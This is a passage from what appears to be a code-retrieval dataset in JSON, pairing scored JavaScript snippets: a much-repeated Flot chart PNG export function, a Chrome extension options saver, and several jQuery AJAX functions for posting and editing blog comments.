document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "110e8ee7efc63a7a1790ea127ba3380e", "score": "0.41776028", "text": "function exportToPNG(graphName, target) {\r\n var plot = $(\"#\"+graphName).data('plot');\r\n var flotCanvas = plot.getCanvas();\r\n var image = flotCanvas.toDataURL();\r\n image = image.replace(\"image/png\", \"image/octet-stream\");\r\n \r\n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\r\n if(downloadAttrSupported === true) {\r\n target.download = graphName + \".png\";\r\n target.href = image;\r\n }\r\n else {\r\n document.location.href = image;\r\n }\r\n \r\n}", "title": "" }, { "docid": "7a158188e65ba770fc3d56bb328f85dc", "score": "0.41640562", "text": "function save_options(userPrefDefaultJsonStr) {\n let thisUserPreferences = JSON.parse(userPrefDefaultJsonStr);\n let thisUserConfig = new UserConfig(thisUserPreferences);\n // Setting Options / General new tab preference.\n thisUserConfig.setIconClickNewtab(document.getElementById('pref-dov-icon-newtab').checked);\n // Setting Options / Filetype preferences\n thisUserConfig.setFiletypeEnable(\"ai\", document.getElementById('pref-filetype-enable-ai').checked);\n thisUserConfig.setFiletypeEnable(\"csv\", document.getElementById('pref-filetype-enable-csv').checked);\n thisUserConfig.setFiletypeEnable(\"doc\", document.getElementById('pref-filetype-enable-doc').checked);\n thisUserConfig.setFiletypeEnable(\"docx\", document.getElementById('pref-filetype-enable-docx').checked);\n thisUserConfig.setFiletypeEnable(\"dxf\", document.getElementById('pref-filetype-enable-dxf').checked);\n thisUserConfig.setFiletypeEnable(\"eps\", document.getElementById('pref-filetype-enable-eps').checked);\n thisUserConfig.setFiletypeEnable(\"odp\", document.getElementById('pref-filetype-enable-odp').checked);\n thisUserConfig.setFiletypeEnable(\"ods\", document.getElementById('pref-filetype-enable-ods').checked);\n thisUserConfig.setFiletypeEnable(\"odt\", document.getElementById('pref-filetype-enable-odt').checked);\n thisUserConfig.setFiletypeEnable(\"pages\", document.getElementById('pref-filetype-enable-pages').checked);\n thisUserConfig.setFiletypeEnable(\"pdf\", document.getElementById('pref-filetype-enable-pdf').checked);\n thisUserConfig.setFiletypeEnable(\"pps\", document.getElementById('pref-filetype-enable-pps').checked);\n thisUserConfig.setFiletypeEnable(\"ppt\", document.getElementById('pref-filetype-enable-ppt').checked);\n thisUserConfig.setFiletypeEnable(\"pptx\", document.getElementById('pref-filetype-enable-pptx').checked);\n thisUserConfig.setFiletypeEnable(\"ps\", document.getElementById('pref-filetype-enable-ps').checked);\n thisUserConfig.setFiletypeEnable(\"psd\", document.getElementById('pref-filetype-enable-psd').checked);\n thisUserConfig.setFiletypeEnable(\"rtf\", document.getElementById('pref-filetype-enable-rtf').checked);\n thisUserConfig.setFiletypeEnable(\"sxc\", document.getElementById('pref-filetype-enable-sxc').checked);\n thisUserConfig.setFiletypeEnable(\"sxi\", document.getElementById('pref-filetype-enable-sxi').checked);\n thisUserConfig.setFiletypeEnable(\"sxw\", document.getElementById('pref-filetype-enable-sxw').checked);\n thisUserConfig.setFiletypeEnable(\"tif\", document.getElementById('pref-filetype-enable-tif').checked);\n thisUserConfig.setFiletypeEnable(\"tiff\", document.getElementById('pref-filetype-enable-tiff').checked);\n thisUserConfig.setFiletypeEnable(\"ttf\", document.getElementById('pref-filetype-enable-ttf').checked);\n thisUserConfig.setFiletypeEnable(\"wpd\", document.getElementById('pref-filetype-enable-wpd').checked);\n thisUserConfig.setFiletypeEnable(\"xls\", document.getElementById('pref-filetype-enable-xls').checked);\n thisUserConfig.setFiletypeEnable(\"xlsx\", document.getElementById('pref-filetype-enable-xlsx').checked);\n thisUserConfig.setFiletypeEnable(\"xps\", document.getElementById('pref-filetype-enable-xps').checked);\n // Setting Options / Privacy / Collect stats\n thisUserConfig.setPrivacyCollectStatsStatus(document.getElementById('pref-privacy-collect-stats').checked);\n let thisUserPreferencesStr = JSON.stringify(thisUserConfig.getPreferences());\n chrome.storage.sync.set({\n user_config:thisUserPreferencesStr\n }, function () {\n // Update status to let user know options were saved.\n flash_options_status('Options saved.', 750);\n });\n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" }, { "docid": "8139176089121931dd26f0e986bdeac2", "score": "0.41638076", "text": "function exportToPNG(graphName, target) {\n var plot = $(\"#\"+graphName).data('plot');\n var flotCanvas = plot.getCanvas();\n var image = flotCanvas.toDataURL();\n image = image.replace(\"image/png\", \"image/octet-stream\");\n \n var downloadAttrSupported = (\"download\" in document.createElement(\"a\"));\n if(downloadAttrSupported === true) {\n target.download = graphName + \".png\";\n target.href = image;\n }\n else {\n document.location.href = image;\n }\n \n}", "title": "" } ]
5acea33d9aa187cdf1d82d8fbac20071
make ajax call to server to add comment and immediately add to html without refreshing
[ { "docid": "08e7379c4badab4c93d0ab5aca70d839", "score": "0.74682194", "text": "function addComment(entryID, username) {\n var $newCommentTextarea = $('#' + String(entryID) + ' textarea')[0];\n var commentText = $newCommentTextarea.value;\n $.post({\n url: '/addcomment/' + String(entryID),\n data: {'comment': commentText},\n success: function(response) {\n // create new comment section without refreshing\n var comment = JSON.parse(response);\n var $newCommentSection = commentSectionHTML(comment, entryID, username);\n $('#' + String(entryID) + ' .comments-section')[0].append($newCommentSection[0]);\n var $commentCount = $('#' + String(entryID) + ' .comment-count')[0];\n var commentCount = parseInt($commentCount.innerText);\n $commentCount.innerText = commentCount + 1;\n },\n error: function() {\n alert(\"Sorry, couldn't post comment at this time!\");\n }\n });\n\n // clear form and stop submit\n $newCommentTextarea.value = '';\n return false;\n}", "title": "" } ]
[ { "docid": "a3df77c9f1e7a87e0ea9bef9daeeb30d", "score": "0.75668365", "text": "function loadComments() {\n let urlid = $('#newcomment').attr('URLid')\n let url = `/urls/${urlid}/comments`\n\n $('#comments-container').html('')\n $('#comments-container').append($('<div>').addClass('row').addClass('justify-content-center'))\n\n\n $.ajax({\n method: 'GET',\n url: url,\n }).then(function(response) {\n renderComments(response)\n })\n}", "title": "" }, { "docid": "7c67f1a5ce4a9123f22bfa250ed526f1", "score": "0.75050575", "text": "function makeComment(comment) {\n var xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function () {\n if (this.readyState == 4 && this.status == 200) {\n // update UI\n console.log(this.responseText);\n addCommentToUI(comment, this.responseText);\n }\n };\n\n // send information to server\n var idArticle = document.getElementById(\"idArticle\").innerHTML;\n xhttp.open(\"POST\", `comment?idArticle=${idArticle}&content=${comment}`, true);\n xhttp.send();\n}", "title": "" }, { "docid": "862b2b95f98e16069240c6b7499f13ab", "score": "0.7444727", "text": "function newComment(comment) {\n $.post(\"/api/comments\", comment, function () {\n window.location.reload();\n });\n}", "title": "" }, { "docid": "3c6b85336f155384fa0a55676c439811", "score": "0.74311614", "text": "function newComment() {\n content = { \"comment\": $(\"#comment\").val() };\n $.ajax({\n url: \"/main/comment\",\n type: \"POST\",\n data: JSON.stringify(content),\n contentType: \"application/json; charset=utf-8\",\n success: function (res) {\n renderComments(res, \"#comments\"); //loads all comments into the main board\n console.log(\"Comment added.\");\n },\n\n error: function (res) {\n console.log(\"Failed to add comment.\");\n }\n });\n}", "title": "" }, { "docid": "dab6b97a0c0b67d5a5f6af315c8d789c", "score": "0.7418619", "text": "function editcommentsubmit(commentid) {\n var commentcontent = $(\"#\" + commentid).find('.form-control').val();\n var commentobject = { \"Id\": commentid, \"CommentContent\": commentcontent };\n\n $.ajax({\n type: \"POST\",\n contentType: 'application/json; charset=utf-8',\n data: JSON.stringify(commentobject),\n url: \"/editcomment\",\n datatype: \"json\",\n success: function (data) {\n $(\"#\" + commentid).find('.md').html(data.response);\n //notify UI framework of DOM insertion async\n window.setTimeout(function () { UI.Notifications.raise('DOM', $('#' + commentid)); });\n\n }\n });\n\n removeeditform(commentid);\n return false;\n}", "title": "" }, { "docid": "edb110c603c195b85f6986a2825cc676", "score": "0.73595905", "text": "function saveComment() {\n commentObj = { Contents: $(\"#comment-contents\").val() };\n\n $(\"#comment-load-gif\").show();\n $.post(\"/api/simulator/\" + GlobalKeyNames.Simulation + \"/comments\", commentObj)\n .done(function() { \n refreshCommentsList();\n successToast('Comment saved successfully!');\n })\n .fail(function(xhr, textStatus, errorThrown) {\n $(\"#comment-load-gif\").hide();\n failToast(xhr.responseText);\n });\n}", "title": "" }, { "docid": "b95f08b7449dc76b3a3398019e3e3c97", "score": "0.73584414", "text": "function refreshComment() {\n\t\n\tvar $comment_wrapper = $( '#comment' ), $comment;\n\tconsole.log( 'debut : ' + $comment_wrapper.attr( 'data-js-action' ) );\n\t\n\t$.ajax( {\n\t\turl : $comment_wrapper.attr( 'data-js-action' ),\n\t\t/*type : 'POST', // La méthode indiquée dans le formulaire (get ou post)\n\t\tdata : {\n\t\t\tlastcomment : ((($comment = $comment_wrapper.find( '.js-comment-wrapper:last' )) && $comment.length == 1) ? $comment.attr( 'data-id' ) : 0)\n\t\t},*/\n\t\tdataType : 'json',\n\t\tsuccess : function( data ) {\n\t\t\tconsole.log( 'success' );\n\t\t\t// s'il ya eu des nouveaux commmentaires\n\t\t\tif ( 'valid' !== data.status ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t// pour chaque commentaire nouveau, l'inséré en html dans la div comment\n\t\t\t$.each( data.content.Comment_a, function( index, Comment ) {\n\t\t\t\t\n\t\t\t\tvar url_update = null;\n\t\t\t\tvar url_delete = null;\n\t\t\t\t// si le user est l'admin il peut supprimer ou modifier le commentaire que l'on doit afficher\n\t\t\t\tif ( typeof data.content.url_update_a !== 'undefined' ) {\n\t\t\t\t\turl_update = data.content.url_update_a[ Comment.id ];\n\t\t\t\t\turl_delete = data.content.url_delete_a[ Comment.id ];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// ajout à l'écran\n\t\t\t\tappendComment( Comment, url_delete, url_update );\n\t\t\t\t\n\t\t\t\t\n\t\t\t} );\n\t\t},\n\t\tcomplete : function() {\n\t\t\t// Schedule the next request when the current one's complete\n\t\t\t\n\t\t\tsetTimeout( refreshComment, 25000 );\n\t\t\tconsole.log( 'fin' );\n\t\t}\n\t} )\n}", "title": "" }, { "docid": "01b58488f768c92c9fe1fc44342cd952", "score": "0.7272997", "text": "function addComments()\n{\n var post_list = $('#post-list');\n $.get(\"/posts\", function(data) \n {\n post_list.html(data);\n });\n}", "title": "" }, { "docid": "c5d04b6e3ed94728e1ae7726f6939cf6", "score": "0.72337145", "text": "function addCommentAjax(){\n var id=document.getElementById(\"id_post\").value;\n $.ajax({\n url:baseUrl+\"/api/comment\",\n method:\"POST\",\n data:{\n post_id:document.getElementById(\"id_post\").value,\n id_user:document.getElementById('id_user').value,\n comment:document.getElementById(\"usercomment\").value\n },success:function(data){\n getComments(id);\n },error:function(xhr,error){\n console.log(xhr);\n }\n\n })\n}", "title": "" }, { "docid": "5fe28b664c8b3c360680f206ac76f5eb", "score": "0.7201345", "text": "function commentshow(element){\n var bigdiv = element.parentNode.parentNode;\n element = element.parentNode.parentNode.cleanWhitespace();\n element = element.firstChild;\n var name = element.firstChild.innerHTML;\n element = element.nextSibling;\n var content = element.innerHTML;\n new Ajax.Request('/comment',{\n method:\"get\",\n parameters: {\"username\":name,\n \"content\":content},\n onSuccess:function(data){\n var e1 = bigdiv.lastChild;\n e1.style.display = \"block\";\n var e2 = e1.previousSibling\n e2.style.display = \"block\";\n var jsonlist = data.responseText.evalJSON(true);\n jsonlist.each(function(commentdata){\n var date = commentdata[\"comment_date\"];\n var name = commentdata[\"comment_by\"];\n var content = commentdata[\"comment_content\"];\n var new_div = document.createElement('div'); \n Element.extend(new_div);\n new_div.addClassName('comment');\n var new_name = document.createElement('p');\n new_name.update(name);\n new_div.appendChild(new_name);\n var new_time = 